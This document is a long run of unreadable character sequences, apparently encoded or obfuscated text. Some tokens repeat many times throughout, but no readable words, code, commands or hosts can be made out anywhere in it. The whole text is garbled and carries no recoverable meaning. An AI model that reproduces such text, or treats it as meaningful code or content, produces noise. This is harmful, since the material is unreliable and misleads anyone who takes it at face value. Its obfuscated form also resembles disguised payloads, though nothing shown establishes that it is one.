RURMZLVT]XJI5VY]]W	SFT[SO[QS	RURMZLVT]XJIMZKJMQ5B5VYU`Z]TEGIIXHNVXM][PQ]Y\L]]W	SFT[SO[QS
RURMZLVT]XJID5RURMZLVT]XJIVXM][PQ]Y\L
VH`INEO^FN]EX
]]W	SFT[SO[QS
[ZYVQZho`kzro`{vm[ZYVQZ[ho`|pqkzqk`{vm ho`|pqkzqk`{vm~}lo~kwHO\PQKZQKL\`KROcQRURMZLVT]XJI5VYVXM][PQ]Y\L

RURMZLVT]XJIMZKJMQ55B555VYW\WJO
FVTW``EFRTLZZP[K
	VXM][PQ]Y\L
RURMZLVT]XJID5RURMZLVT]XJIVXM][PQ]Y\L
VH`INEO^FN]EX
VH`INEO^FN]EX
[ZYVQZho`|~|wzKMJZl|`h|cQRURMZLVT]XJI5VYEFRTLZZP[K

RURMZLVT]XJIMZKJMQ5BZSLZVY^MWY\Q\
TD5RURMZLVT]XJIEFRTLZZP[K	VH`INEO^FN]EX	]]W	SFT[SO[QS
[ZYVQZho`|~|wzKMJZl|`h|cQRURMZLVT]XJI5VYVXM][PQ]Y\L

RURMZLVT]XJIMZKJMQ5B55VYYJTRFJHPD5RURMZLVT]XJIVXM][PQ]Y\L	VXM][PQ]Y\L	RURMZLVT]XJI5VY]]W	SFT[SO[QS

RURMZLVT]XJIMZKJMQ5VYVH`INEO^FN]EX	VXM][PQ]Y\L
RURMZLVT]XJID5RURMZLVT]XJIEFRTLZZP[K	EFRTLZZP[K
EFRTLZZP[K	
[ZYVQZho`{z}jxKMJZcQ[ZYVQZho`{z}jx`spxKMJZcQ[ZYVQZho`{z}jx`{vlos~fY^SLZcQRURMZLVT]XJI55VYVXM][PQ]Y\L		RURMZLVT]XJIMZKJMQ555B5B5VYRURMZLVT]XJIVRLXYOWMZKJMQ5VYIE[
QM[VN\`]\E]JRURMZLVT]XJIMZKJMQ5VYW\WJO
FVTW``Q\`PJPK^
^EV[ZNRP^YRR]OVRLXYOWD555PTG]`[M\TJL[^FSJEFRTLZZP[K	VH`INEO^FN]EX	5RURMZLVT]XJIVH`INEO^FN]EX	VH`INEO^FN]EX	EFRTLZZP[K	RURMZLVT]XJI5VY]]W	SFT[SO[QS		RURMZLVT]XJICCRURMZLVT]XJIVRLXYOWMZKJMQ5VYIE[
QM[VN\`]\E]JRURMZLVT]XJIMZKJMQ5B555`[R^GYG^LM]]YVSZOZMRL[ZNRP^YRR]O5`[R^GYG^LM]]`[R^GYG^LM]]Y^SLZ G^G^`[R^GYG^LM]]	5LXFU\NLP]]W	SFT[SO[QS	[ZNRP^YRR]O5SHH	PO`W^	MVXM][PQ]Y\L	VH`INEO^FN]EX[ZNRP^YRR]O]]W	SFT[SO[QS5VYSHH	PO`W^	MY^SLZMZKJMQ5VY]]W	SFT[SO[QSSHH	PO`W^	MRURMZLVT]XJIVH`INEO^FN]EXRURMZLVT]XJID5]]W	SFT[SO[QSSHH	PO`W^	M5MZKJMQ5B5]]W	SFT[SO[QSSHH	PO`W^	M`[R^GYG^LM]]5VYVH`INEO^FN]EXSHH	PO`W^	M[ZNRP^YRR]OD5YVQVKZL\WZ[JSZM555]]W	SFT[SO[QSSHH	PO`W^	M5MZKJMQ5B5VYLXFU\NLPVXM][PQ]Y\L[ZNRP^YRR]OLXFU\NLP5VYVXM][PQ]Y\L]]W	SFT[SO[QSPO\^\WZ`VQI^SV[^KZ[ZNRP^YRR]OKMJZ5VYEFRTLZZP[KVXM][PQ]Y\L^MRYENLVWLULW[]I
JRMID5YPMZ^\WVXM][PQ]Y\LLULW[]I
JRMIdb^LJMNVEVTGYD5VYVH`INEO^FN]EXJMNVEVTGYVXM][PQ]Y\LVH`INEO^FN]EXJMNVEVTGYEFRTLZZP[KJMNVEVTGY5B5B5VYVH`INEO^FN]EX]]W	SFT[SO[QSVH`INEO^FN]EXVH`INEO^FN]EX
^MRYENLVWWFQFVV]WVD5YPMZ^\WVH`INEO^FN]EX	WFQFVV]WVdb^LORWV	OMNQD5VYVXM][PQ]Y\L	VH`INEO^FN]EXORWV	OMNQ[ZSZKZ`POKVPQORWV	OMNQ555B5B5B5YJQ\KVPQRN
\G	SM	POM	J5D5555VY[ZYVQZ[EFRTLZZP[KMZKJMQ5555R^[UG]PH[ZYVQZ[VXM][PQ]Y\L		 horj`osjxvq`{vmho`|pqkzqk`{vmEFRTLZZP[K5HMK`HKTUXFWYTF^MM^F5VY]]W	SFT[SO[QSVXM][PQ]Y\LD5VYVH`INEO^FN]EX
R^[UG]PHYPMZ^\W^MM^F]]W	SFT[SO[QSR^[UG]PHEFRTLZZP[K		^LIMWH^]X\LHMK`HKTUXFWYTFdbIMWH^]X\L5VY[ZYVQZ[VH`INEO^FN]EXEFRTLZZP[Kho`osjxvq`{vmYPMZ^\W^MM^FVXM][PQ]Y\Lho`osjxvq`{vmVH`INEO^FN]EX^LIMWH^]X\LHMK`HKTUXFWYTFdbIMWH^]X\L5B5OG^[ULFN^QPX[ZYVQZ[VH`INEO^FN]EX ~}lo~kw5TP]
JT
]Nho`|pqkzqk`{vmVH`INEO^FN]EXEFRTLZZP[KVXM][PQ]Y\L	
OG^[ULFN^QPXVH`INEO^FN]EX
VH`INEO^FN]EX
EFRTLZZP[K]]W	SFT[SO[QS	
OG^[ULFN^QPXVXM][PQ]Y\La
]]W	SFT[SO[QS	555VYVXM][PQ]Y\L	TP]
JT
]NHMK`HKTUXFWYTFdbTP]
JT
]N5YPMZ^\WHMK`HKTUXFWYTF^LIMWH^]X\LD5LXFU\NLP]]W	SFT[SO[QS	IMWH^]X\L5555VYLXFU\NLPCCLXFU\NLP	
	
D5555^GNVEYMW]VH`INEO^FN]EXIMWH^]X\L5VY^GNVEYMW]CC^GNVEYMW]CC^GNVEYMW]

	\PQKVQJZ5B5ho|PIZM}SP\TOS^\ZWPS[ZM]SJM55XMGYFU^
^QIU]]W	SFT[SO[QSIMWH^]X\L5horZ[V^kZGK}SP\TJQ[Z\V[^]SZ\PQKM^I^MV^QK55EUZYUEL	]
IZSV]]W	SFT[SO[QSM	L]ZERI5VY]]W	SFT[SO[QS		XMGYFU^
^QIU]]W	SFT[SO[QS		EUZYUEL	]
IZSVXMGYFU^
^QIUEUZYUEL	]
IZSV\PQKVQJZ5I\GKLEPVH`INEO^FN]EXIMWH^]X\LY^SLZQJSS	
5VYVXM][PQ]Y\L		I\GKLEPCCVXM][PQ]Y\LI\GKLEPVH`INEO^FN]EXY^SLZ\PQKVQJZT
FLNJ]XJX	WYUZPS	ST
FLNJ]XJX5555VY]]W	SFT[SO[QS]]W	SFT[SO[QSI\GKLEPRFENOKGH\KG\PQKVQJZ555VYIZMLVPQ`\PRO^MZRFENOKGH\KGdbHX]T^EKEHX	P^Q^	HYK\PQKVQJZ555TULNTUQTSGNOJLXGNTX^\ZXMOFUXVXSIMWH^]X\L5VYTULNTUQTSGNOY^SLZD5555PTG]`[M\TJL[^FSJ]]W	SFT[SO[QS]]W	SFT[SO[QSEFRTLZZP[KIMWH^]X\L5\PQKVQJZ5B5ZQ^]SZLTPSZRYPMhoiZMLZ}SP\T5555VYTULNTUQTSGNOKMJZD5555VYWMSI
EU]HJ`TOIMWH^]X\LIMWH^]X\LVH`INEO^FN]EXD5VYVXM][PQ]Y\LVH`INEO^FN]EXPO\^\WZ`VQI^SV[^KZIMWH^]X\LKMJZ55B5EFRTLZZP[KVH`INEO^FN]EXIMWH^]X\L]]W	SFT[SO[QS]]W	SFT[SO[QS
IMWH^]X\L]]W	SFT[SO[QS	55\PQKVQJZ5B5VH`INEO^FN]EXIMWH^]X\L5]]W	SFT[SO[QSVXM][PQ]Y\LIMWH^]X\L]]W	SFT[SO[QS]]W	SFT[SO[QS
IMWH^]X\LEFRTLZZP[K	5VY]]W	SFT[SO[QS]]W	SFT[SO[QSPO\^\WZ`VQI^SV[^KZIMWH^]X\LKMJZ5B555E\G^X	WFIPVSZ5FQ^MUQOIho`|pqkzqk`{vmVH`INEO^FN]EX
	5555VYVXM][PQ]Y\LFQ^MUQOIVH`INEO^FN]EXVXM][PQ]Y\L	D5555YPMZ^\W^MM^F]]W	SFT[SO[QSFQ^MUQOI]]W	SFT[SO[QS^LIRFFR[^ID5VYVH`INEO^FN]EXIRFFR[^ICCEFRTLZZP[K	IRFFR[^I\PQKVQJZ5K\OKKY`PJ]KKXWVH`INEO^FN]EXIRFFR[^I5VYK\OKKY`PJ]KKXWCCK\OKKY`PJ]KKXWG[^GZ[	\PQKVQJZ5\NEVQUTIZU]]W	SFT[SO[QSIRFFR[^I5VYVH`INEO^FN]EX		\NEVQUTIZU\PQKVQJZ5VYVXM][PQ]Y\L\NEVQUTIZU]]W	SFT[SO[QSY^SLZVXM][PQ]Y\L\NEVQUTIZU]]W	SFT[SO[QSY^SLZVXM][PQ]Y\L\NEVQUTIZUVXM][PQ]Y\L
Y^SLZ\PQKVQJZ5VYE]JJG
SS\NEVQUTIZU\PQKVQJZ555X`PPQK^IEY]I`UOMU	
OFN[V\NEVQUTIZU5VY]]W	SFT[SO[QS		X`PPQK^IEY]X`PPQK^IEY]\NEVQUTIZUD5L]NY]EJ\QQ
ILGUVGOIRFFR[^IX`PPQK^IEY]5555VYVH`INEO^FN]EXVH`INEO^FN]EXPO\^\WZ`VQI^SV[^KZIRFFR[^IKMJZ5B5B5B5OS`QQQL	HQRELJKho`|pqkzqk`{vm]]W	SFT[SO[QS5OS`QQQL	HQRELJKho`|pqkzqk`{vm]]W	SFT[SO[QS

55VYVH`INEO^FN]EXVH`INEO^FN]EX
	]]W	SFT[SO[QS]]W	SFT[SO[QS	EFRTLZZP[K]]W	SFT[SO[QSDTOQXI]	QPPHWL
PYS^KTOQXI]	QP5`PQPLZOO]ZZSGMJW~}lo~kw]]W	SFT[SO[QS
5INZ[T^L^XZK`POKVPQ`PQ5VY]]W	SFT[SO[QS		INZ[T^L^INZ[T^L^D55QIZHN
WR^UEYEFRTLZZP[KINZ[T^L^KMJZ5VYVXM][PQ]Y\L		QIZHN
WR^UEYXTH	YWFZGV^ZLQIZHN
WR^UEY[ZSZKZ`POKVPQ`PQ5B5I\VY`TMUVPSVXM][PQ]Y\LVH`INEO^FN]EX W]VJIUHXHJMEQT``GEFRTLZZP[K5VYVH`INEO^FN]EX		I\VY`TMUVPSI\VY`TMUVPSVXM][PQ]Y\LI\VY`TMUVPS

CCVXM][PQ]Y\LVXM][PQ]Y\L]MXM\FR
]WN
KZE	I\VY`TMUVPSCCH]MRSHU\[MNIGI\VY`TMUVPSD555VYEFRTLZZP[KVH`INEO^FN]EXUE`SSEE	KFE^M[HQTRI]]W	SFT[SO[QSVH`INEO^FN]EX5B5B5B5YJQ\KVPQSTYI]\VXN\\
\L5D`RF`FXLZKEJowo`r~upm`izmlvpqJ`^ZL`\HFET`RF`FXLZKEJ55KMFD5VY[ZYVQZ[VXM][PQ]Y\LMZKJMQ5VYZROKFxsp}~sld]]W	SFT[SO[QSbD555xsp}~sld]]W	SFT[SO[QSb5PTG]`[M\TJL[^FSJEFRTLZZP[K
VH`INEO^FN]EX	5B5ho}SP\TkM^QLYPMRLZGOPQZQKV^SMVQX]JYYZM5555VYZROKFxsp}~sldVXM][PQ]Y\LbMZKJMQ5xsp}~sldVXM][PQ]Y\LbKMJZ5VYVLLZK`xzkdVH`INEO^FN]EXbVXM][PQ]Y\LEFRTLZZP[K
	VH`INEO^FN]EXEFRTLZZP[K
D55W`JYXG]LXZK`POKVPQVXM][PQ]Y\L^MM^F5]S`
QIY^SLZ5VYVXM][PQ]Y\LW`JYXG]LDJ
L^^R
L\	YH
S\YKMS^R]PKJ
L^^R
L\	YH5VYZROKFW`JYXG]LdKb]]W	SFT[SO[QSVQKW`JYXG]LdVH`INEO^FN]EXb]S`
QIKMJZ555VY]S`
QIZROKFW`JYXG]Ld]]W	SFT[SO[QSbVH`INEO^FN]EXW`JYXG]LdEFRTLZZP[KbD5YPMZ^\WW`JYXG]LdEFRTLZZP[Kb^L`\VD55VYVXM][PQ]Y\L`\VVXM][PQ]Y\LVQK`\VdVXM][PQ]Y\Lb	D5]S`
QIKMJZ5]MZ^T5B5B5B5B5VY]S`
QIVXM][PQ]Y\LVXM][PQ]Y\L5B5VYERZ[YU	]IK\ERXH
M	L]ZERIMZKJMQ5RN
\G	SM	POM	J5PHLXR^WQHTM	L]ZERIHX]T^EKEHX	P^Q^	HYK5VY^XWIFV
QLQ[XD5555]\K
NP`EG`NXVT`FSR5L
[QGTTMTEMMN\X`L5MZKJMQ5KWMZ^[L^YZY^\KPMF555B5IYXE	[YJF[NGLJR[\IKJY^5MI\F]EROPHH^MM^F55M	L]ZERI5IYXE	[Y]]W	SFT[SO[QS

55RM
HYW]PN
YHRUP\SU
UI5YPMZ^\WRM
HYW]PN
^LUVHYMK[Q\VFJKD55VYVXM][PQ]Y\LUVHYMK[Q\VFJKMI\F]EROPHHdbUVHYMK[Q\VFJK55B5P]VOIMH^MM^F5VYS[RH
^XUNY]HGD5IHV`Z]SFIS
PLZOO]ZZSGMJW~}lo~kwVXM][PQ]Y\L
VH`INEO^FN]EX	RFKT
FYTXXG[G
Z`LFRETZ`SRFKT
FYTXX5P]VOIMHdVXM][PQ]Y\L~}lo~kw]]W	SFT[SO[QSbIHV`Z]SFIS
5P]VOIMHdVH`INEO^FN]EXIYXE	[YVXM][PQ]Y\LbIHV`Z]SFIS
5B5MIPPL`M`WPNJVXM][PQ]Y\LVH`INEO^FN]EX VXM][PQ]Y\LVXM][PQ]Y\LY^SLZ55VYVH`INEO^FN]EX
MIPPL`M`WPNJMIPPL`M`WPNJD5FMENO[
S]VQKXZK`POKVPQEFRTLZZP[K5VYFMENO[
S]CCVXM][PQ]Y\LFMENO[
S]D555P
P
ZVRFTEPLZOO]ZZSGMJW~}lo~kw]]W	SFT[SO[QS		EFRTLZZP[K	5P]VOIMHdVXM][PQ]Y\LVXM][PQ]Y\L~}lo~kwVXM][PQ]Y\LMIPPL`M`WPNJbP
P
ZVRFTE5P]VOIMHdEFRTLZZP[KIYXE	[YMIPPL`M`WPNJbP
P
ZVRFTE5B5B55`LY	K^^PSSVHXORLH`ZO5VYEFRTLZZP[K`LY	K^^PSdbP]VOIMHdVXM][PQ]Y\L`LY	K^^PSdbbVH`INEO^FN]EX`LY	K^^PSdb5`T	WNMHJ^IXZK`POKVPQEFRTLZZP[K^MM^F5VYVXM][PQ]Y\L`T	WNMHJ^I`T	WNMHJ^I^MM^F5MMWJZ[S^WMH[]Y^SLZ5YPMZ^\WMI\F]EROPHH^LQSGTU\ZD]ZWR]MVYHV
	R]NVLVEZVFI]ZWR]MVYHV5F^TITSV[]
MKFVH`INEO^FN]EXQSGTU\Z5[`T`ZXJF^TITSV[]
MKF F^TITSV[]
MKFd]]W	SFT[SO[QSbCF^TITSV[]
MKFdEFRTLZZP[Kb5SOWVFGJUPOOOVLLZK`T	WNMHJ^IdQSGTU\Zb `T	WNMHJ^IdQSGTU\Zb5VY[`T`ZXJSOWVFGJUPOOO\PQKVQJZ5VYVH`INEO^FN]EXVXM][PQ]Y\L
SOWVFGJUPOOOV\XTNRTVZNWVH`INEO^FN]EX	SOWVFGJUPOOOEFRTLZZP[KV\XTNRTVZNWdb[`T`ZXJ]]W	SFT[SO[QSVQKV\XTNRTVZNWdb

\PQKVQJZ5555MMWJZ[S^WMH[]KMJZ5]MZ^T555B55VYMMWJZ[S^WMH[]D5555YPMZ^\WP]VOIMH^LTZFF[JI\SQT]ND555[`T`ZXJ]W^JF^OIPOQMEFRTLZZP[KTZFaF[JI\SQT]N5SOWVFGJUPOOOVLLZK`T	WNMHJ^IdTZFb `T	WNMHJ^IdTZFb5VY[`T`ZXJSOWVFGJUPOOO\PQKVQJZ5VY]]W	SFT[SO[QSVXM][PQ]Y\L
SOWVFGJUPOOOV\XTNRTVZNW]]W	SFT[SO[QSSOWVFGJUPOOOVXM][PQ]Y\LV\XTNRTVZNWdb[`T`ZXJVXM][PQ]Y\LVQKV\XTNRTVZNWdb	
\PQKVQJZ5MMWJZ[S^WMH[]KMJZ5]MZ^T5555B5B5VQM\[U	I`YU]]W	SFT[SO[QS
M	L]ZERIVXM][PQ]Y\L	55NYNOO\	ZWHQIYXE	[YEFRTLZZP[K

VQM\[U	I`YUVQM\[U	I`YUVXM][PQ]Y\L	5U`
ETENHY	^HEI		]\Z[PS`S5VYVXM][PQ]Y\LNYNOO\	ZWHQCCVQKVH`INEO^FN]EXNYNOO\	ZWHQ
MMWJZ[S^WMH[]KMJZ5VYU`
ETENHY	^]]W	SFT[SO[QSU`
ETENHY	^MMWJZ[S^WMH[]KMJZ5VYMMWJZ[S^WMH[]]]W	SFT[SO[QS]]W	SFT[SO[QS
	D5FVZS[JQVYV\^KVPQ55]GK]E
VQM\[U	I`YUVQM\[U	I`YU]]W	SFT[SO[QS5555VFEMXQ	L[URXZK`POKVPQEFRTLZZP[K^MM^F5VYVXM][PQ]Y\LVFEMXQ	L[URCCVXM][PQ]Y\L	]GK]E
VFEMXQ	L[URKMJZMMWJZ[S^WMH[]KMJZ5555B5VYMMWJZ[S^WMH[]MZKJMQ555VY\RVUG[

	SYRQHVXM][PQ]Y\LMZKJMQ5KMFD5]VHOMXWUJY]KHQ555X	\W]SXLFR^IERIWXW	RLQWU[Gowo`r~upm`izmlvpqEPMVI`MJ^\GW	RLQWU[G55L
[QGTTMTEMMN\X`L5[YGPSFPUSX[ZI]VL5QZL\KQ`IEF
5]\K
NP`EG`NXVT`FSR55\\X^TEGROVSRO^SJ5]VVUUNTYTRQP\O^LO^	OQRJF	]RV`[IMKG^^LO^	OQRJF5Y]U^PVT^GGO[YPVZFKN
N^5PTVLTS\W\SVWFGF[]`LNEG
^N
G5R`N`E	W[\\U^MM^F55YPMZ^\WMI\F]EROPHH^LQSGTU\ZD5TL^E	FPLTKSZQSGTU\ZIYXE	[Y]]W	SFT[SO[QSY]U^PVCCEFRTLZZP[KQSGTU\Z	]]W	SFT[SO[QS
PTVLTS\W\SVWFGF5F^TITSV[]
MKFVXM][PQ]Y\LQSGTU\Z5555VYF^TITSV[]
MKFD5QZX^KVIZ[ZYVQVKZUPJMQ^S55R`N`E	W[\\UdQSGTU\ZbF^TITSV[]
MKFdEFRTLZZP[KbCF^TITSV[]
MKFdVXM][PQ]Y\LbTL^E	FPLTKSZ EFRTLZZP[K	EFRTLZZP[K5B5B5YPMZ^\WP]VOIMH^LTZFF[JI\SQT]ND5TIW	]HVRGVL]W^JF^OIPOQMVH`INEO^FN]EXTZFGGF[JI\SQT]N5VYTIW	]HVRGVLCCVXM][PQ]Y\LTIW	]HVRGVL]]W	SFT[SO[QSTIW	]HVRGVLVXM][PQ]Y\LVXM][PQ]Y\L5R`N`E	W[\\UdTZFbTIW	]HVRGVL5B5JO[^KZ`POKVPQ]]W	SFT[SO[QSR`N`E	W[\\UVH`INEO^FN]EX55BYVQ^SSFD5X
LWR^P]VF\MEFRTLZZP[K5555B5B\^K\WkWMPH^]SZSKQO
]K`D5PTG]`[M\TJL[^FSJ]]W	SFT[SO[QS
SKQO
]K`5B\^K\WzG\ZOKVPQSKQO
]K`D5B5555B555YJQ\KVPQ]W^JF^OIPOQMQSGTU\ZF[JI\SQT]N5D55F^TITSV[]
MKFVXM][PQ]Y\LQSGTU\Z5VYF^TITSV[]
MKFMZKJMQ5[`T`ZXJF^TITSV[]
MKFdEFRTLZZP[KbCF^TITSV[]
MKFd]]W	SFT[SO[QSb55VYF^TITSV[]
MKFdVXM][PQ]Y\Lb

MZKJMQ]]W	SFT[SO[QS
[`T`ZXJ55VRLXYOW]]W	SFT[SO[QS
QSGTU\Z55MZKJMQ[`T`ZXJCVH`INEO^FN]EX
VRLXYOW]]W	SFT[SO[QSVRLXYOWF[JI\SQT]NY^SLZ 5B555YJQ\KVPQMGFGIILRSINTR`E]5D5`OI]]W	SFT[SO[QSVH`INEO^FN]EX
	 XZK`POKVPQVXM][PQ]Y\L5QP`	\L\X`WWTSPPJX5`V\ZN[KGQVVJ
VH`INEO^FN]EX]]W	SFT[SO[QS
	 XZK`POKVPQVH`INEO^FN]EX55VY`V\ZN[KGQVVJ
`OI[ZSZKZ`POKVPQVH`INEO^FN]EX55B555YJQ\KVPQQP`	\L\X`WWTSPPJX5DWREIWZ	VCYMPVPQF^NWREIWZ	Va	5555KMFD5VY[ZYVQZ[VH`INEO^FN]EXMZKJMQ5IYXE	[YJF[NGLJR[\IKJY^KKP
Q
owo`vqk`r~gowo`vqk`r~gX
NZX
KKP
Q
5Z	UTJZE^\ZQMYHRKKYPFNI]Q]XV5NYXYO	YWMMPLZOO]ZZSGMJW~}lo~kwVXM][PQ]Y\L	

VXM][PQ]Y\L5SV\I`[VOPLZOO]ZZSGMJW~}lo~kwVXM][PQ]Y\L

]]W	SFT[SO[QS
5]Z]XIYZ[PLZOO]ZZSGMJW~}lo~kwVH`INEO^FN]EX	VXM][PQ]Y\L
5U^NNOT^RPLZOO]ZZSGMJW~}lo~kwEFRTLZZP[KGGEFRTLZZP[K

5NTJPKX
]RWTG]OPLZOO]ZZSGMJW~}lo~kw]]W	SFT[SO[QSGGEFRTLZZP[K

5GFQUL\PHL]]W	SFT[SO[QS		PLZOO]ZZSGMJW~}lo~kwX5I[Y`LQVKX^MM^F5IYXE	[YVXM][PQ]Y\L
	VH`INEO^FN]EX5IYXE	[YVXM][PQ]Y\LEFRTLZZP[K
55YPMZ^\WI[Y`LQVKX^LQSGTU\ZOMZYVGD5VYEFRTLZZP[KQSGTU\Z\PQKVQJZ5VRLXYOW]]W	SFT[SO[QS
QSGTU\Z5555VYVRLXYOWY^SLZ\PQKVQJZ555SMEJ^M^KWZG]]W	SFT[SO[QSOMZYVGVXM][PQ]Y\LOMZYVGVH`INEO^FN]EX5R]TE]`E`]QEFRTLZZP[K
SMEJ^M^KWZGVRLXYOW5VYR]TE]`E`]QVRLXYOWL]NY]EJ\QQ
ILGUVGOQSGTU\ZR]TE]`E`]Q5555B5LWUE[K
L	IYXE	[YVXM][PQ]Y\L
5VYVH`INEO^FN]EXLWUE[K
L	D5QZ[XXF^^VH`INEO^FN]EX	LWUE[K
L	5VY]]W	SFT[SO[QS
QZ[XXF^^QZ[XXF^^D555VY]]W	SFT[SO[QS]]W	SFT[SO[QS	EFRTLZZP[K	QZ[XXF^^
CCEFRTLZZP[K	QZ[XXF^^]]W	SFT[SO[QS

D5NNKZM`SOUHJYLELIV\ZLWUE[K
L	5VFSMLJMN\IFZNQLWUE[K
L	5BZSLZD5LZMV^SVE^]SZKM^QLYPMRZM55^JQ
H^]U\[\L\EFRTLZZP[K
]]W	SFT[SO[QS	QZ[XXF^^5VY]]W	SFT[SO[QS
^JQ
H^]U\[\L\^JQ
H^]U\[\L\QZ[XXF^^L]NY]EJ\QQ
ILGUVGOLWUE[K
L	^JQ
H^]U\[\L\5JQLZK^JQ
H^]U\[\L\5B5B5JQLZKQZ[XXF^^IFFZ
KG[CX]HGI]N`UKIFFZ
KG[a5B5OXV]]	[VH`INEO^FN]EXM	L]ZERI]]W	SFT[SO[QS]`O[Z
NE`RG
G^X]LOU
\]`O[Z
NE`R5KJUW^WP[ZV^T[ZYVQZ[VH`INEO^FN]EX ho`|pqkzqk`{vmVH`INEO^FN]EX	
OXV]]	[5G`ZVR^	ZHGZ^MM^F5IYXE	[YNYXYO	YWMM5IYXE	[YSV\I`[VO5IYXE	[Y]Z]XIYZ[5Z	UTJZE^\ZQMYU^NNOT^R5Z	UTJZE^\ZQMYNTJPKX
]RWTG]O55Z	UTJZE^\ZQMYSV\I`[VO5Z	UTJZE^\ZQMY]Z]XIYZ[555OXV]]	[U^NNOT^R5OXV]]	[NTJPKX
]RWTG]O5OXV]]	[SV\I`[VO5OXV]]	[]Z]XIYZ[5KJUW^WP[ZV^TU^NNOT^R555KJUW^WP[ZV^TNTJPKX
]RWTG]O5KJUW^WP[ZV^TSV\I`[VO5KJUW^WP[ZV^T]Z]XIYZ[55K`MHYNWNKFSVHXORLH`ZO5G`ZVR^	ZHGZdbK`MHYNWNKFdb5G`ZVR^	ZHGZdbK`MHYNWNKFdbVXM][PQ]Y\L5JQLZKK`MHYNWNKF5VYVH`INEO^FN]EX]]W	SFT[SO[QSD5YPMZ^\W^MM^FVXM][PQ]Y\LIYXE	[YVXM][PQ]Y\L		NYXYO	YWMM^LW	

	F`RG`ZVR^	ZHGZdbW	

	F`R5YPMZ^\W^MM^FVXM][PQ]Y\L	IYXE	[YEFRTLZZP[K	NYXYO	YWMM^LW	

	F`RG`ZVR^	ZHGZdbW	

	F`R5YPMZ^\W^MM^FVH`INEO^FN]EX	~}lo~kw]]W	SFT[SO[QS	GFQUL\PHLVXM][PQ]Y\L^LSOU^P	SG`ZVR^	ZHGZdbSOU^P	S5YPMZ^\W^MM^F]]W	SFT[SO[QS	IYXE	[YGFQUL\PHLVXM][PQ]Y\L^LSOU^P	SG`ZVR^	ZHGZdbSOU^P	SS`	H^S
N]Eowo`r~upm`izmlvpq^		[OGS`	H^S
N]E5YPMZ^\W^MM^FEFRTLZZP[K	Z	UTJZE^\ZQMYGFQUL\PHLVXM][PQ]Y\L^LSOU^P	SG`ZVR^	ZHGZdbSOU^P	S5YPMZ^\W^MM^FVXM][PQ]Y\L	OXV]]	[GFQUL\PHLEFRTLZZP[K^LSOU^P	SG`ZVR^	ZHGZdbSOU^P	S5YPMZ^\W^MM^F]]W	SFT[SO[QSKJUW^WP[ZV^TGFQUL\PHLVH`INEO^FN]EX^LSOU^P	SG`ZVR^	ZHGZdbSOU^P	S5B5WFMYWQHMFG`PLZOO]ZZSGMJW~}lo~kwX5`OQ`RILS^MM^F~}lo~kw]]W	SFT[SO[QSIYXE	[YZ	UTJZE^\ZQMYOXV]]	[KJUW^WP[ZV^T5555YPMZ^\W`OQ`RILS^L`X[D5hPM[oMZLL	\PRR^Q[LOPLVKVIZ[ZYVQVKZ\VOWZMLJVKZ55VYVH`INEO^FN]EX`X[]]W	SFT[SO[QS	`X[KU[]NNG]VQJP^`X[VH`INEO^FN]EXWFMYWQHMFG`HX]T^EKEHX	P^Q^	HYKVH`INEO^FN]EX5B5VY]]W	SFT[SO[QS
EFRTLZZP[K	D5YPMZ^\W`OQ`RILS^L`X[D5YPMZ^\W^MM^FEFRTLZZP[KVH`INEO^FN]EXEFRTLZZP[KVH`INEO^FN]EX]]W	SFT[SO[QSVH`INEO^FN]EXVXM][PQ]Y\LEFRTLZZP[KVH`INEO^FN]EX
^LTXG[IWWIJXDUEOIFYG^X]
EG	GZUKZR^LZUEOIFYG^X]
E
5YPMZ^\W^MM^F]]W	SFT[SO[QS	`X[TXG[IWWIJX^L[	MSNKK	NNRVYQVG`ZVR^	ZHGZdb[	MSNKK	NNRVYQV5555B5YPMZ^\W^MM^F]]W	SFT[SO[QS	`X[VH`INEO^FN]EX	^LFQHZZZ\KK^QL^P^G`ZVR^	ZHGZdbFQHZZZ\KK^QL^P^5B55B5JQLZKWFMYWQHMFG``OQ`RILS`X[TXG[IWWIJX[	MSNKK	NNRVYQVFQHZZZ\KK^QL^P^55[GTRTLNU`[^MM^F~}lo~kwEFRTLZZP[KIYXE	[Y]]W	SFT[SO[QS5YPMZ^\W[GTRTLNU`[^LTFRT[[	GK	
D5VYEFRTLZZP[KTFRT[[	GK	
\PQKVQJZ5VRLXYOW]]W	SFT[SO[QSTFRT[[	GK	
JE]PQ

GWELRSLNJE]PQ5VYVRLXYOW]]W	SFT[SO[QS	VRLXYOWVH`INEO^FN]EXY^SLZD5VRLXYOW]]W	SFT[SO[QS
VXM][PQ]Y\L]]W	SFT[SO[QSSV\I`[VOVXM][PQ]Y\L
	cQVRLXYOW5VY]]W	SFT[SO[QS
VRLXYOWD5VRLXYOWEFRTLZZP[K
VH`INEO^FN]EX
VH`INEO^FN]EXSV\I`[VO]]W	SFT[SO[QScQVRLXYOW55B5VYVH`INEO^FN]EX
VRLXYOWD5VRLXYOWVH`INEO^FN]EX
]]W	SFT[SO[QSVH`INEO^FN]EXSV\I`[VOEFRTLZZP[KcQVRLXYOWXM`OKWEZ[VO
	
H[PFVZXKXM`OKWEZ[VO5B5VY]]W	SFT[SO[QSVRLXYOWL]NY]EJ\QQ
ILGUVGOTFRT[[	GK	
VRLXYOW5B5B5555M\RXMX	~}lo~kwVXM][PQ]Y\L
5VY]]W	SFT[SO[QS	M\RXMX	D5ZJTSRTKK`YEFRTLZZP[K~}lo~kwVH`INEO^FN]EX55VYVH`INEO^FN]EX	ZJTSRTKK`YM\RXMX	ZJTSRTKK`Y5555B5VYVXM][PQ]Y\L	M\RXMX	VH`INEO^FN]EX	M\RXMX	D5`H\VH`INEO^FN]EXM\RXMX	MZOQ^VTPVZMKV]JTYWMZOQ^VTPVZ5VYEFRTLZZP[K`H\VH`INEO^FN]EX	`H\]]W	SFT[SO[QSY^SLZD5H`QO[JWU\YEFRTLZZP[KEFRTLZZP[K`H\5VYVXM][PQ]Y\LH`QO[JWU\YH`QO[JWU\Y`H\IE[
QM[VN\`]\E]JH`QO[JWU\YD5555K[GVNRY^EVH`INEO^FN]EXM\RXMX	5VYL]NY]EJ\QQ
ILGUVGOM\RXMX	H`QO[JWU\YK[GVNRY^EEFRTLZZP[KM\RXMX	K[GVNRY^E5B5JQLZKH`QO[JWU\YK[GVNRY^E5B5JQLZK`H\5B5JQLZKM\RXMX	ZJTSRTKK`Y5MIPPL`M`WPNJEFRTLZZP[K
